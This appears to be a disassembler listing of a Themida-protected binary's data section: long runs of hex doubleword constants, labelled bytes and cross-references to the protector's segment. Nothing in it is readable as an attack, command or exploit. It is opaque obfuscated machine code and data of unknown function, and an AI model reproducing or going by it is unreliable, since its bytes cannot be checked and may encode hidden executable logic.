		dd 0EEBD8306h, 64B82h, 0C0330A75h, 9229B58Dh, 0E6FF064Bh
		dd 7C81AD56h, 2824h, 0E771000h,	24448B50h, 858D502Ch, 64B45D9h
		dd 4403D0FFh, 8B972824h, 0EA858ADFh, 84064B82h,	3A0474C0h
		dd 574C7507h, 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h
		dd 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh
		dd 35660973h, 81665041h, 0FE5449F3h, 33EB75CEh,	4FD333C8h
		dd 0D2F7D575h, 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h
		dd 0FF04C683h, 4824CD85h, 0FF5DE906h, 6A5EFFFFh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 8387C357h, 13C19111h, 89FCD39Ch, 4810CDB5h, 11B52906h
		dd 8B064807h, 4824CD85h, 0E0D1F506h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0FEC35242h,	0E018503h, 8D310648h
		dd 64825E5h, 0BEh, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 4B0A77E6h, 0D1958981h
		dd 96064814h, 0D799509h, 0AD660648h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0E7C35242h,	12E9DEh, 117C0000h
		dd 0C7E00554h, 7F0F6997h, 0FF0B7F88h, 14721E65h, 3102E0C1h
		dd 4832ADB5h, 8503F906h, 6481999h, 14E9h, 47A3DA00h, 99066372h
		dd 98EB699Bh, 0ABE1AA00h, 51E3E5ABh, 6A969Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0ADA083C3h
		dd 9D31B5E5h, 6480A8Dh,	55006AADh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0B4CA603Bh, 9D89C5C3h
		dd 6480BADh, 24247C81h,	10000000h, 0F7870Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 506520C3h, 66FB8B60h, 8961C68Bh, 0EE92404h, 0F000000h
		dd 0B7F887Fh, 721E65FFh, 0FEFB7514h, 24448BE1h,	7E928h
		dd 0BECB0000h, 8099DD5Ah, 10E99034h, 7A000000h,	0B1ADB47Ch
		dd 0D0EDC5D9h, 62B7D6D9h, 504BBF99h, 9E9h, 0C808100h, 64393C06h
		dd 6A9098CBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0CD71C350h, 1AC69C38h,	0F9C61BBEh
		dd 45D9858Dh, 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 3D5409C3h, 4B77FDA5h, 14E95Ch, 7CC20000h
		dd 63404F3Ch, 0F764258Ch, 0E9143679h, 2E1B6608h, 0D0FF3F51h
		dd 0FE8F560h, 5C000000h, 43F9DB61h, 670DE08Bh, 643689C1h
		dd 0C3BEF90Eh, 5E49F956h, 24440361h, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 8D89F9FDh
		dd 6480B31h, 1C244489h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 33C35747h, 35CFD9CBh,	9529BC5Bh, 6480609h
		dd 0AE9h, 845CAF00h, 0D124E793h, 0F9272987h, 276D85C6h
		dd 0C7000648h, 4B84B285h, 6, 0F285C700h, 64B82h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 31F9C351h, 27498D29h, 61F50648h, 15818531h
		dd 8C20648h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0DDBCF13Fh, 81F875DBh, 0BD09E38Ch
		dd 6480CDDh, 1999858Bh,	0BD890648h, 6481EA9h, 1870F4Ah
		dd 0F5000000h, 0CC68160h, 0BB36D93Ah, 1449FF21h, 4D26B61h
		dd 0AE9h, 0AD5CE600h, 0F28B4569h, 3EF79AEh, 7E9C2h, 0A33D0000h
		dd 0A850FFD0h, 896096B5h, 4808C18Dh, 38EE8106h,	616CFD35h
		dd 0D19D29ADh, 81064806h, 24247Ch, 0F100000h, 14387h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0EE92E0Dh, 0BD000000h, 0D1C99A5Ah, 0ED889D72h, 5D870515h
		dd 0FE99053h, 0EB000000h, 0F88C28B3h, 0FFF853CEh, 23E896C8h
		dd 6050D9DFh, 0F525052h, 5E585A31h, 665E5160h, 6161D78Bh
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 2ED02C8Dh, 0F554DE78h, 24448BF5h, 1870F28h
		dd 0FC000000h, 10E990h,	78750000h, 0ED65AC4Fh, 7BB4A270h
		dd 2D0B45E9h, 0F508E3Ch, 178Bh,	0E9525000h, 6, 0F8987362h
		dd 310FEE4Ah, 310F5250h, 585A585Ah, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 6922452h, 1F998D89h
		dd 9D890648h, 64806EDh,	45D9858Dh, 6A064Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E919C6C3h
		dd 0F51861DBh, 6AD0FFh,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 64CE43C3h
		dd 6AB3EDE6h, 9E910DAh,	0D7000000h, 0AB2C715h, 11446338h
		dd 0FFFD7CE9h, 7DBD29FFh, 8D064822h, 4B974485h,	81666006h
		dd 0E8796BF2h, 14h, 263FBC8Bh, 0C455E309h, 32C59C4Dh, 5B8161C2h
		dd 67EB8EE8h, 50615AFCh, 0A43DBE60h, 8B667ACDh,	48961C3h
		dd 99958924h, 6406481Ch, 35FFh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 15BDD2C3h
		dd 505B589h, 48B0648h, 8589F924h, 6481F79h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 32C35545h, 0DA8634D0h
		dd 0BD32EE44h, 959D8935h, 0E906481Ah, 10h, 0C675612Eh
		dd 519A5281h, 0AC27B173h, 568778FDh, 258964h, 0F9000000h
		dd 95E2858Dh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 431CA4C3h, 319D89FCh, 8906480Eh
		dd 6A0160h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 4CC72FC3h, 603ACAC6h, 0A4E18166h,	0D8BF0FA9h
		dd 6800F61h, 89000000h,	481F7195h, 1C2E906h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0CC895C3h, 0D1BD314Eh, 8B064824h, 0E8DBh, 815D0000h
		dd 4B95DBEDh, 0FF9CBC06h, 0BD830012h, 6482F19h,	8B187400h
		dd 480FD585h, 0C606h, 2A31858Bh, 0C60648h, 6995FF00h, 6006482Ah
		dd 7EF6B5FFh, 858D064Bh, 64B7EFAh, 0F2858D50h, 50064B80h
		dd 4D195FFh, 0C4830648h, 6AF5610Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 8FACC351h
		dd 0B58DBCC9h, 64B80F2h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 40C35545h, 0A14BEAE5h, 43004711h, 1BD8DC0h
		dd 0FC064816h, 0F003E80h, 3C84h, 89A4FC00h, 48151D85h
		dd 0FFEAE906h, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 4551F4C3h, 1698F1E3h, 0B1B5296Ah
		dd 89064830h, 482DCD95h, 0B806h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 694B3C3h
		dd 0B07C96F4h, 0B8FCAA82h, 7, 0FE9h, 677CBB00h,	5751F656h
		dd 5A35CC5Ah, 0EA0EB722h, 2BD585C7h, 10648h, 8D890000h
		dd 64829EDh, 4B648D8Dh,	85010648h, 6480005h, 850FE1FFh
		dd 1Fh,	19820Fh, 14E90000h, 13000000h, 9647F772h, 190D2AFDh
		dd 1F4FE1A6h, 0E60716AFh
		db 9Eh,	0C3h, 37h
byte_5764B3	db 8Bh			; DATA XREF: Themida_:0053D7D8o
					; Themida_:0053F7ACo ...
dword_5764B4	dd 550C245Ch, 0E8h, 0ED815D00h,	64B974Eh, 0B8838Bh, 85890000h
		dd 64B7EF6h, 95D4858Dh,	8389064Bh, 0B8h, 0C3C0335Dh, 13E9h
		dd 25586700h, 43ED76B8h, 0ED13409Fh, 0D804353Eh, 0DC0DBF4Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B9C35646h
		dd 6A603847h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 7512C351h, 67F056A9h, 6850F4Ah
		dd 29000000h, 481FE1B5h, 958B6006h, 64810D1h, 68858D61h
		dd 6A064B99h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0A3D8C356h, 7B70FCBDh,	90CFABA5h
		dd 0C860Fh, 820F0000h, 6, 310F5250h, 5050585Ah,	68D0F52h
		dd 0F000000h, 8Dh, 0E9310F00h, 7, 4A08AD55h, 5A759F9Eh
		dd 0B5019058h, 64804C9h, 35FF64h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E93AC356h, 0Ch, 97392105h, 9B5DBF9Bh, 0C49C56EDh, 258964h
		dd 0F000000h, 683h, 0A9BD2900h,	8D06480Ah, 4B99DE85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F7B8CF9h, 78Fh, 18D0F00h, 0FC000000h, 0F016089h, 68Eh
		dd 0D9D8900h, 0F9064814h, 276D85C6h, 6A4F0648h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 15E1C353h, 68F3E921h, 905B1D23h, 12830Fh, 0DE90000h
		dd 0A000000h, 0B9F11206h, 0BBCCC0F0h, 5C94B12Eh, 7240481h
		dd 296E6D57h, 4825CD8Dh, 0C8A0F06h, 0F000000h, 688h, 49B58900h
		dd 0FF064827h, 482195B5h, 158D3106h, 8D06480Ah,	4B831E85h
		dd 0C810F06h, 0F000000h, 689h, 59958900h, 0FF064821h, 99BD31D0h
		dd 0E906481Dh, 81h, 55858B60h, 66064829h, 8B61F18Bh, 550C245Ch
		dd 0E8h, 0ED815D00h, 64B9972h, 2C21858Bh, 85890648h, 6482195h
		dd 205D858Bh, 85890648h, 6482175h, 2C2D858Bh, 85890648h
		dd 6482F75h, 276D85C6h,	0C7000648h, 4B84B285h, 6, 0DE858D00h
		dd 89064B99h, 0B883h, 0C0335D00h, 57006AC3h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 485C930Bh
		dd 0FF74BCF8h, 6A0012h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 457F82C3h, 645F2E41h, 58Fh, 95290000h
		dd 6482141h, 0E904C483h, 0Ah, 0B2BDF1EEh, 0A94EEF18h, 0E9617499h
		dd 148h, 50h, 54h, 58h,	5Ch, 60h, 64h, 68h, 6Ch, 0B0h
		dd 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h
		dd 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_5764B4+344h
		dd 9F50EBh, 9A29858Dh, 8589064Bh, 64B9B69h, 0AD9B589h
		dd 85C60648h, 648276Dh,	0E8CA8B54h, 4, 0EE626829h, 0D48A5357h
		dd 8B50595Bh, 50042444h, 12BA6652h, 60310FEEh, 0BE9h, 6E4CEF00h
		dd 82908114h, 471E2020h, 310F5250h, 5A61585Ah, 0F008B58h
		dd 8Bh,	24448900h, 58BB6604h, 6EB55858h, 95B5FFF9h, 0E9064821h
		dd 0Eh,	96A80AFh, 9948D15Fh, 5778ADC5h,	858DC32Bh, 64B831Eh
		dd 203DB58Bh, 0D0FF0648h, 20E19589h, 85890648h,	64B9B6Dh
		dd 53E9h, 0E1BD8B00h
		db 26h,	48h, 6
byte_576983	db 56h			; DATA XREF: Themida_:0053DB20o
					; Themida_:0053DD9Co ...
		dd 9B69B58Bh, 689064Bh,	9B698583h, 5E04064Bh
		db 0C3h
byte_576995	db 60h,	8Dh, 0B5h	; DATA XREF: Themida_:0053F5D4o
		dd 64B9A29h, 6A560FEBh,	0FF36FF00h, 4B9B6D95h, 0C6835E06h
		dd 3E8304h, 0C361EC75h,	7E9h, 28B76C00h, 0C2DDED80h, 0BE9h
		dd 4E94DB00h, 0B1639380h, 7EF057B7h, 9C26858Dh,	950B064Bh
		dd 648096Dh, 0E0FF90B9h, 6585895Eh, 0E9064828h,	0E5h, 0FFEE4D10h
		dd 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	171E577Dh
		dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h
		dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh,	20602060h
		dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h
		dd 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h
		dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h, 0F2FD54A7h
		dd 0B4DF343h, 0C66E97Eh, 0D2680000h, 0E9064B9Fh, 0FFFCDFEBh
		dd 4BA0D368h, 0DFE1E906h, 9A68FFFCh, 0E9064BA1h, 0FFFCDFD7h
		dd 4BA28D68h, 0DFCDE906h, 1168FFFCh, 0E9064BA3h, 0FFFCDFC3h
		dd 4BA3A468h, 0DFB9E906h, 0FA68FFFCh, 0E9064BA4h, 0FFFCDFAFh
		dd 4BA5FB68h, 0DFA5E906h, 0C568FFFCh, 0E9064BA6h, 0FFFCDF9Bh
		dd 4BA7AE68h, 0DF91E906h, 5E68FFFCh, 0E9064BA8h, 0FFFCDF87h
		dd 0C46CB8ACh, 0C66EBA93h, 0C56FBB95h, 0C66EBA94h, 0C66EBA95h
		dd 0F5EA6F57h, 0FBEEAFA9h, 0FFD485AFh, 2D889B3h, 0D61A7EB6h
		dd 125084FAh, 1F4DA856h, 503F2F3Bh, 10ED5612h, 0D7FBF7FDh
		dd 0E42ED79Ah, 1D69815Ah, 105C7522h, 0DB2CB34h,	0E6C4E6B0h
		dd 0C915F34Ch, 4165D9F5h, 68C74FC7h, 0D4498CCEh, 0B38AB2FEh
		dd 0F1CD7B91h, 0C74169DDh, 0CA64CB4Fh, 41D1BE92h, 0BC63498Fh
		dd 0B2FED483h, 0B0A6AA96h, 84560F41h, 0A1BD919Dh, 0CB54A0B8h
		dd 530F5574h, 21087D08h, 5CCE5E06h, 4AE4ABE4h, 3E09550Dh
		dd 0F5A3D36h, 65A0F656h, 86AEFAF0h, 76B1FDD5h, 7AC511C9h
		dd 6EB905DDh, 80CB17D1h, 0CF7A59B1h, 0DC9F23Eh,	0B203B4BFh
		dd 0EE17DA17h, 62D72E24h, 6A2C2470h, 5B398E55h,	5222Eh
		dd 5586C800h, 0CF52E7Ah, 677D5502h, 4029226Eh, 875A7BE9h
		dd 0FD19F03Bh, 0F7431748h, 2E46F63Dh, 926D3E12h, 60BF498Eh
		dd 0D3D5CDE7h, 0D38C560Eh, 0C39BBC87h, 55DAC77h, 1A4623CEh
		dd 69786B09h, 7F9B0A9Bh, 0FF84FAD9h, 845B3959h,	3Ch, 0D3E95B1Ah
		dd 9E825975h, 0FD26498Eh, 224CA74Eh, 121822BDh,	4BE22E25h
		dd 48FE7400h, 5369560Fh, 789E7A2Ah, 0EF18BE18h,	595EAE60h
		dd 9BBD5946h, 21BDC238h, 0D5C65B39h, 60000000h,	3F1D6981h
		dd 42F34116h, 0C14F40B9h, 0E35CB64Fh, 0D44F9BB4h, 0E863AFA3h
		dd 0DD57A3B7h, 77C398C1h, 0B1B955ACh, 4FC742EAh, 0EB338159h
		dd 44DCE9F7h, 4A0B45DCh, 7ED34C98h, 0A6BAA6BEh,	0C1C0B6BAh
		dd 8D744FC6h, 0A8D2E981h, 6556498Eh, 4227206Ch,	491E4BE9h
		dd 34FE09FEh, 522913EEh, 6D1DD8F2h, 69F4691Bh, 0BEC8A4C0h
		dd 6E4FD461h, 7DC612C9h, 0F6DF7DA4h, 0FA9B95E1h, 6EABD4E5h
		dd 29BA6CBAh, 0DCA89EBAh, 0A58C4FC8h, 8865AE7Ch, 0FB24CCB9h
		dd 94B1Ah, 71BDAF00h, 73BF96C7h, 74C098C9h, 77C39BBCh
		dd 77C39CBDh, 0F3785EBDh, 0F7A890DCh, 0FD9E96E2h, 1A29AE6h
		dd 1FB39DE9h, 527FEFFBh, 16AD5612h, 5066810Ch, 7AE24B97h
		dd 421B3129h, 5B250FF6h, 75D3E95Bh, 8E9E8259h, 95FD2649h
		dd 805193CAh, 0BD86D287h, 0AF71BD64h, 0AC3F450h, 0FCD285BEh
		dd 88BD59B0h, 0F8576ECh, 0A8F4EB56h, 9DE9009Fh,	8FDBF5A2h
		dd 0FD33AD94h, 82E1BC6h, 0E74C57CDh, 0BB375B39h, 0CF000000h
		dd 221D6981h, 150E5A75h, 8B9C4E67h, 0C6B3CFBFh,	6BC25D4Fh
		dd 0B1E0A3CFh, 8F434FC6h, 92481943h, 3A091A46h,	98043890h
		dd 44DD293Ah, 3CFC55EAh, 0F13A865Ah, 6753F118h,	6E077753h
		dd 0A254FC7h, 55AF4430h, 0A27D498Fh, 6B81C3BAh,	990DE1FDh
		dd 9B560F46h, 0AEC29A74h, 4FD4B3CFh, 0B2FED87Dh, 0CB799079h
		dd 0AFA9F5EAh, 0ECE3F9EEh, 12A989A0h, 1DCCB99Fh, 84AE352h
		dd 0BEAE0000h, 0BC99CA72h, 0C197C870h, 0C49ABB75h, 0C89FC078h
		dd 7D45D47Ch, 0A993DFF8h, 9B95E1F8h, 0B39DE9FAh, 0ACA4F0E2h
		dd 76E80428h, 0B6561253h, 6681131Fh, 5586221Ah,	10F9327Eh
		dd 35815906h, 698141FBh, 5D75221Dh, 2E073311h, 0EC62EE3Ah
		dd 404FC6B2h, 2E0155E1h, 0D8F050A0h, 69A2136Ch,	68F368A0h
		dd 8C97E3F7h, 0DD0159B5h, 1279ED01h, 54BB4FC7h,	0F565B2BAh
		dd 7897498Eh, 3EE16B69h, 1E1EB757h, 0B1965A06h,	0A3420E9Fh
		dd 0CE6EC37Ch, 0EAC68AB6h, 9448555Fh, 0D561ADA3h, 0A4F0E253h
		dd 0E4F6DF7Dh, 0EBFFA098h, 0C6358B9Dh, 49D0B4AAh, 6E997848h
		dd 93C414C4h, 52B770BCh, 9F565BBBh, 16613438h, 78327h
		dd 0A9F5E700h, 0ABF7EEAFh, 0ACF8F0B1h, 0AFFBD384h, 0AFFBD485h
		dd 0AB309685h, 0AFF068B4h, 95C66EBAh, 99CA72BEh, 0D7BB75C1h
		dd 54C7B793h, 8E655612h, 1D698144h, 3041163Fh, 0C6B32A1Ch
		dd 0FE270A4Fh, 0F6460B34h, 0D8FADADCh, 0FBD5659Fh, 0EEE556AFh
		dd 1DD8BA2h, 0A09D11DDh, 5C94FC7h, 4FC7A091h, 8BA67CA3h
		dd 85B8C3AFh, 0AB86498Fh, 0D9CDA1BDh, 5B560F7Bh, 82CE83B4h
		dd 82D660C9h, 0A2AE89BBh, 560F7BACh, 9E10DC80h,	8E560F7Bh
		dd 0D5739A73h, 96A0ECE4h, 0F85E02CEh, 0B34E4FD5h, 62AEA495h
		dd 0A016DA06h, 944FCA08h, 0ECADA16Dh, 0D8A1AAF6h, 0D8F45068h
		dd 4990841Fh, 0A596B24Dh, 0D20361ADh, 0B208AFFDh, 2DA02D06h
		dd 45163AD4h, 3223418Dh, 146D01Ch, 54F00838h, 102C1768h
		dd 0E85BE82Ah, 96E1264Eh, 0EC134FD7h, 0BB7B931Eh, 68CD96CCh
		dd 690h, 9C94E0F4h, 9E96E2FBh, 9D97E3FDh, 9E96E2FCh, 9E96E2FDh
		dd 0BD9217BFh, 0C396C771h, 0C79CBD77h, 0CAA0C17Bh, 9EC2D67Eh
		dd 1255DCD2h, 29755056h, 75D3E95Bh, 0E5597549h,	474FC6B2h
		dd 0FE707CE8h, 2E4FC6B2h, 0BC2B47D3h, 7A498D2Eh, 0DA90A997h
		dd 0D189B28Eh, 0F4A5A985h, 0EB9992DEh, 4F8BFBCFh, 86A95612h
		dd 4FA016DAh, 6D945612h, 96AE8EA1h, 3495A6AAh, 0C8674FDAh
		dd 0B818716Ah, 6F740CCh, 60Ch, 8307C70h, 0A327E57h, 9337F59h
		dd 0A327E58h, 0A327E59h, 392EB31Bh, 3F1243EDh, 431849F3h
		dd 461C3DF7h, 125E42FAh, 1256483Eh, 0C509EC56h,	75D3E95Bh
		dd 8D2FB759h, 52062F49h, 1BF62C06h, 0A560C2Dh, 0D591152h
		dd 1DFD3F12h, 0D72AF541h, 13E122Eh, 6D4FD8CCh, 0FD46924Ch
		dd 0F9180A24h, 2C786A4Bh, 0E4302710h, 242C065Bh, 3A865F78h
		dd 61FE18F1h, 2F023D89h, 7549F70Dh, 0F7438F44h,	8EA0BC7Bh
		dd 0F717FA49h, 0CAF38DCCh, 79997CA7h, 0DD000005h, 0E081BB07h
		dd 0DE7FB905h, 0C596BE0Ah, 0C293BD09h, 8897C10Dh, 56A2BD42h
		dd 58A4BDDEh, 60ACBFE0h, 67B3A7F8h, 0A9C5E9EDh,	561256B5h
		dd 81525C77h, 75221D69h, 7B27115Dh, 0B31B8B5Fh,	0F6194FC6h
		dd 0B23151Ch, 11554E57h, 4CF81113h, 8ED23380h, 9DA68949h
		dd 0F139B0Fh, 2FE6CC56h, 74C096BFh, 9ABC56ABh, 5B397205h
		dd 4B7Eh, 0E95B1800h, 120C75D3h, 582210EAh, 804C1822h
		dd 498F99ABh, 87251E01h
		dd 560F8A13h, 0D7509C4Eh, 0DD66B2A8h, 34DF368Ch, 43073309h
		dd 560F8A53h, 5EF43EE1h, 0ECAE31A7h, 0ECD55B39h, 87000000h
		dd 0B36CB8AEh, 0C982CE84h, 0D76DC960h, 7D536981h, 304FD831h
		dd 5C7DEB37h, 1BEE3985h, 55E12D28h, 4F9B4FF0h, 0C30FC8F1h
		dd 0B400D788h, 0A36F966Bh, 99E5FD9Ah, 386652ABh, 314F3164h
		dd 140F5B0Eh, 416DE12Dh, 4FC6B57Ah, 0ABA5F1E9h,	0E3E7F8EAh
		dd 4FC6BA73h, 7CC75EC1h, 0AAA383B5h, 0A57CE55Eh, 0BAA0B3B7h
		dd 0B14E498Eh, 77537755h, 5C977FBh, 560F0A91h, 0ABA57CA3h
		dd 5C74C4h, 0B8C1C3DCh,	305B30BFh, 0FAA78EE6h, 8AA54FD4h
		dd 96E2FDDEh, 8CC859AAh, 66EB66C6h, 0FCD384CCh,	0C67562B0h
		dd 0EB34CCB9h, 4230Ah, 89D58700h, 8BD78ECFh, 8CD890D1h
		dd 8FDBF3A4h, 8FDBF4A5h, 8B10B6A5h, 8FD088D4h, 0F5A68EDAh
		dd 0F9AA92DEh, 379B95E1h, 5767D7F3h, 2EC55612h,	1A668124h
		dd 321D8622h, 0ADE30EFh, 4F0354DEh, 5BEF5903h, 0C75D3E9h
		dd 431BC5E5h, 2AD52CF7h, 0B6BA5C7Fh, 4FC7A9C0h,	9A748D74h
		dd 9555AEC2h, 7897498Fh, 8DADA5AFh, 9FB4560Fh, 0AFA7D853h
		dd 3189E863h, 1C3A27D2h, 0EF4043B9h, 0B8435B39h, 0DB000000h
		dd 0B51B6981h, 8FC8B3A4h, 9A0361C8h, 1D24CD26h,	2C111DBCh
		dd 3F08540Bh, 0C7486E35h, 0EA06DA4Fh, 4FC74774h, 0A0BD59B8h
		dd 85D67ECAh, 0F7E381CDh, 9DBB07DEh, 4FC747A9h,	9C7BA48Bh
		dd 0C7069A03h, 3E132C06h, 0FB471CFEh, 11A3612h,	0EB498F3Fh
		dd 0C17637Ah, 0D52C786Bh, 0B2D042Ch, 38347F5h, 314FD4ACh
		dd 904972CEh, 4972EA44h, 491A428Eh, 1DF4428Eh, 98CCB983h
		dd 3226ECFh, 0D6860000h, 0D491D28Ah, 0D98FD088h, 0DCF2A38Dh
		dd 0E0F7A890h, 15BD9C94h, 0D18BD790h, 0A38DD990h, 9B95E1F2h
		dd 0B49CE8FAh, 7EF0FC20h, 0AE561258h, 66810B17h, 6981221Ah
		dd 8149331Dh, 75221D69h, 0C3840F5Dh, 0A4ECA682h, 0EC176917h
		dd 0A67F307Fh, 9F4FBBAEh, 15D9879Dh, 498EB84Ah,	0CB17CB7Ch
		dd 7585A362h, 0D6F23BC9h, 0D1C58966h, 60F24426h, 60C6ADC8h
		dd 67CA6014h, 39393BBCh, 1D045B04h, 8BEC2B3Fh, 72AEC0Ch
		dd 2D43F53Ch, 0B653B0Fh, 0F40DEDC3h, 942F9731h,	0AAA39476h
		dd 0B27CE55Eh, 82B39170h, 0C7D884D0h, 9DB14476h, 0F244C1A9h
		dd 0C67BA48Bh, 0E46CC6D5h, 80CC9FB8h, 65B1A9B6h, 0C5DFFCC5h
		dd 8D70BB6Eh, 258h, 0F45CA8BCh,	0F65EAAA3h, 0F55FABA5h
		dd 0F65EAAA4h, 0F65EAAA5h, 5DA5F67h, 0BDE7FB9h,	0FC495BFh
		dd 12C899C3h, 0E60A8EC6h, 1259940Ah, 0F13D9856h, 3F1D6981h
		dd 2FF84416h, 0EFC1F1D8h, 1E073607h, 56E62B14h,	0A94E223Eh
		dd 0E5498E9Dh, 0E281F5F9h, 4CB3560Eh, 0A3C160C2h, 0C5519DB2h
		dd 0C4249E91h, 9F005C74h, 0D29B72Bh, 59010D5Ah,	0D78ECA95h
		dd 60CD364Fh, 74C0961Bh, 630E2D8Bh, 4029226Eh, 34DB4DE9h
		dd 0AABE97A5h, 0B27CE55Eh, 4921FCBAh, 22FD3FF3h, 54DE584Eh
		dd 0CC35DC0Ch, 0C6334C70h, 7713C466h, 8F514513h, 3CE30C55h
		dd 81666AF2h, 0B3061D6Fh, 0BE7ED34Ch, 0C5A1BAA6h, 0BF5BAE79h
		dd 2FF1C7A3h, 0C0990454h, 50D25CA8h, 316EE0ECh,	63BE0C54h
		dd 0A5BD9ECAh, 0ACBEDF59h, 0DCEBD260h, 7DA67036h, 16F98h
		dd 0B501D300h, 0B703DA7Bh, 0B804DC7Dh, 0BB07DF80h, 0BB07E081h
		dd 0B73CA281h, 0BBDC54A0h, 0C1E25AA6h, 0A5F65EAAh, 0E3F761ADh
		dd 5AC3B3B7h, 52715612h, 421D8650h, 7E340A7h, 0FE5C521Eh
		dd 31D04FC6h, 49213ED8h, 4DEF42FDh, 4350937h, 3B37034Fh
		dd 498F09FCh, 5069D73Ah, 29FE4995h, 2589A58Bh, 32FC25E7h
		dd 36B84B1Eh, 7E52EE06h, 4FD701B1h, 0BFDD1C03h,	0F734AA6Fh
		dd 0E8546CCCh, 813B03E4h, 51126B02h, 0C4894F69h, 0B905D689h
		dd 0A97F9B6Eh, 0C474BD86h, 0E4BC90ACh, 540847C0h, 0B4A68FADh
		dd 0BBAFF068h, 0AFEA9F6Fh, 0A2CD744Ah, 0BFB3h, 0E5312300h
		dd 0E7332A6Bh, 0E8342C6Dh, 0EB372F70h, 0EB373071h, 67ECF271h
		dd 6B2C2470h, 71322A76h, 55062E7Ah, 9307317Dh, 5B138347h
		dd 0C2215612h, 1D698180h, 0F642163Fh, 0C5F8C70Dh, 54DE1DDEh
		dd 0FC1626EBh, 0BF0EC810h, 0B2AEBD9Eh, 0D1D8D1ACh, 5773D138h
		dd 498EFA30h, 0EDB9A37Eh, 0FB89FDD1h, 84AB560Eh, 9FB587AAh
		dd 7893ADC1h, 5EC14FD5h, 54A0B2E5h, 91A7BBDCh, 0AB748DD9h
		dd 8A2CB6A1h, 19428E37h, 0D42DF642h, 48BD183Ah,	520E4692h
		dd 0A247069h, 0FE49954Dh, 767A66h, 34C809E4h, 3A1441CDh
		dd 5DF335EEh, 0ED3931A6h, 0F4401243h, 3028112Bh, 2C065BE4h
		dd 3E9h, 1763A500h, 241F6B81h, 18135F73h, 1F287467h, 221D6980h
		dd 150E5A75h, 26216D62h, 16115D79h, 28236F69h, 19125E77h
		dd 0E1895174h, 4BE56h, 0F1010000h, 4E9835Eh, 5C240C87h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0F568243Ch
		dd 89000012h, 0D5682404h, 8B064B9Dh, 0C483243Ch, 71A96804h
		dd 24890000h, 24048324h, 0FA685804h, 8900005Ch,	2C81243Ch
